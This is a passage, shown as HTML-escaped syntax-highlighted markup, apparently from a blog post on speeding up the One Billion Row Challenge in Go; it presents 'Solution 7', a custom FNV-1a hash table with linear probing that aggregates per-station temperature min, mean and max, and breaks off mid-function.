&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-7-custom-hash-table">Solution 7: custom hash table&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r7: use custom hash table and hash station name as we look for &amp;#39;;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~234ms for 10M rows (4.29x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r7&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">item&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stat&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">numBuckets&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">17&lt;/span> &lt;span style="color:#75715e">// number of hash buckets (power of 2)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">items&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">item&lt;/span>, &lt;span style="color:#a6e22e">numBuckets&lt;/span>) &lt;span style="color:#75715e">// hash buckets, linearly probed&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#75715e">// number of active items in items slice&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">1024&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">readStart&lt;/span>:])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">newline&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">LastIndexByte&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">newline&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">remaining&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// FNV-1 64-bit constants from hash/fnv.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset64&lt;/span> = &lt;span style="color:#ae81ff">14695981039346656037&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">prime64&lt;/span> = &lt;span style="color:#ae81ff">1099511628211&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">after&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> uint64(&lt;span style="color:#a6e22e">offset64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> ; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; len(&lt;span style="color:#a6e22e">chunk&lt;/span>); &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;;&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">after&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> ^= uint64(&lt;span style="color:#a6e22e">c&lt;/span>) &lt;span style="color:#75715e">// FNV-1a is XOR then *&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">*=&lt;/span> &lt;span style="color:#a6e22e">prime64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">==&lt;/span> len(&lt;span style="color:#a6e22e">chunk&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> = &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// skip &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#75715e">// skip last digit and &amp;#39;\n&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int(&lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> uint64(&lt;span style="color:#a6e22e">numBuckets&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Found empty slot, add new item (copying key).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, len(&lt;span style="color:#a6e22e">station&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> copy(&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>] = &lt;span style="color:#a6e22e">item&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span>: &lt;span style="color:#a6e22e">key&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stat&lt;/span>: &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: int64(&lt;span style="color:#a6e22e">temp&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span> &amp;gt; &lt;span style="color:#a6e22e">numBuckets&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#e6db74">&amp;#34;too many items in hash table&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Found matching slot, add to existing stats.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">stat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Slot already holds another key, try next slot (linear probe).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#a6e22e">numBuckets&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> = &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> = copy(&lt;span style="color:#a6e22e">buf&lt;/span>, &lt;span style="color:#a6e22e">remaining&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationItems&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">item&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">item&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
